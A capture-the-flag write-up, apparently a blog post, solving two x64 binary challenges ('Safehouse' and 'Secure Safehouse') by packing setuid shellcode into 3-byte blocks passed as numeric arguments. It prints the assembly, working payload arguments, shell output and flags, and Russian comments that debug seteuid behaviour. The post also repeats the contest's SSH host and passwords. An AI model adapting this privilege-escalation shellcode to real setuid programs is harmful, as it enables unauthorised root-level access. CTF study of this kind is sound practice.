14 – Safehouse
It’s the middle of the night. Nothing but complete darkness and the moaing of approaching zombies surrounds you. You need to escape. Fast. There seems to be nothing to hide and nowhere to run. But then – a small dancing gleam appears while you are running through the blackness. Could it be? Yes – it looks like the light of a safehouse, now a few meters away. You need to get in, you need to survive. But it’s locked. Looks like you need a special knocking sequence to enter. But how to get it? You have to be fast to get into safety. The Zombies are getting closer …
SSH: ctf.fluxfingers.net
PORT: 2092
USER: ctf
PASS: js8pps991xsgyy7
binary15 – Secure Safehouse
It’s past midnight now. The zombies managed to invade your safehouse and you needed to escape. Again. Seems like the imprudent security measures had their price. But there is hope! Rumor has it there’s another safehouse which proves to be more secure, employing security measures no zombie would ever figure out. But can you?
SSH: ctf.fluxfingers.net
PORT: 2093
USER: ctf
PASS: xbshsya8ksUs7
binary
Summary: x64 shellcoding
This x64 linux binary is quite simple. First, it drops effective privilegies. We can regain them, but only if we’ll do setuid before execve.
Then, it allocates an ‘rwx‘ area and copies there 5 qwords (actually 4 dwords + 1 qword because they overlap).
Qwords are taken from strtoul(argv[i]).
Each 4th byte of each qword is then set to 0xc3 (ret opcode).
Then the code is executed – each dword one time. After it we get shell.
So, we need to write at max 6 blocks of 3-byte shellcodes to do setuid(1006):
mov ah, 0x03 ; high byte of 1006 nop db 0xc3 mov al, 0xee ; low byte of 1006 nop db 0xc3 push byte 0x69 ; sys_setuid pop rbx db 0xc3 xchg eax, edi jmp metka db 0xc3 metka: xchg eax, ebx syscall db 0xc3 |
$ ./safehouse 948 61104 5990762 125847 331667 $ id uid=1000(ctf) gid=1000(ctf) euid=1006(safehouse) groups=1006,1000(ctf) $ cat FLAG FUNNY_C3_LOOP_MAKES_ZOMBIES_BUTTHURT |
Secure Safehouse
Here the code is the same, but only the first dword is run, once. Also there’s a check:
(eax == argc - 1)
So we replace nop; ret
with mov dl, 0xc3
and also fix eax in the end:
mov ah, 0x03 ; 1005 high byte mov dl, 0xc3 ; B2C3 opcode mov al, 0xed ; 1005 low byte mov dl, 0xc3 mov cl, 0x69 ; sys_setuid mov dl, 0xc3 xchg eax, edi xchg eax, ecx mov dl, 0xc3 ; qword syscall ; 0F05 opcode mov dl, 0xc3 mov al, 5 ; to match argc ret ; C3 |
$ ./secure-safehouse 11666356 11726256 11692465 11702679 54893877214184719 $ id uid=1000(ctf) gid=1000(ctf) euid=1005(secure_safehouse) groups=1005,1000(ctf) $ cat FLAG JOO_ARE_NOW_SUPER_LEET_C3_HECKER |
8 comments
Skip to comment form
почему на их машине сделать setuid(1006): было достаточно, а ни на одной из моих машин – нет?
тестовый сэмпл:
#include
int main() {
uid_t u = getuid();
seteuid(u);
__asm (“xor %rax, %rax;”
“mov $0x69,%al; ”
“mov $1005, %rdi;”
“syscall”);
char *arg[] = {“/bin/sh”, NULL};
execve(“/bin/sh”, arg, NULL);
}
права на файл:
-rwsr-sr-x 1 alice bay 7984 окт. 26 18:21 1
id alice:
uid=1005(alice) gid=1005(alice) groups=1005(alice)
$ ./1
sh-4.2$ id
uid=1000(bay) gid=1000(bay) groups=1000(bay),10(wheel),16(cron),18(audio),19(cdrom),27(video),35(games),102(crontab),997(vboxusers)
я решал через setresuid
Author
а strace чего говорит? setuid что возвращает?
Author
а тьфу он ничего не скажет, suid же )
Author
кстати strace’ом можно проверить как seteuid(u) отрабатывает
у меня делает setresuid32(-1, 1000, -1) может в какойто libc он все 3 уида выставляет?
Author
А во, из мана seteuid:
Under libc4, libc5 and glibc 2.0 seteuid(euid) is equivalent to setreuid(-1, euid) and hence may change the saved set-user-ID. Under glibc 2.1 and later it is equivalent to setresuid(-1, euid, -1) and hence does not change the saved set-user-ID.
странно, на машине ctf.fluxfingers.net:2092 strace говорит, что выполняется setresuid(-1, 1000, -1), на моих машинах тоже самое
strace: http://alexbers.com/strace.log
Author
Даж хз :) Магия какая-то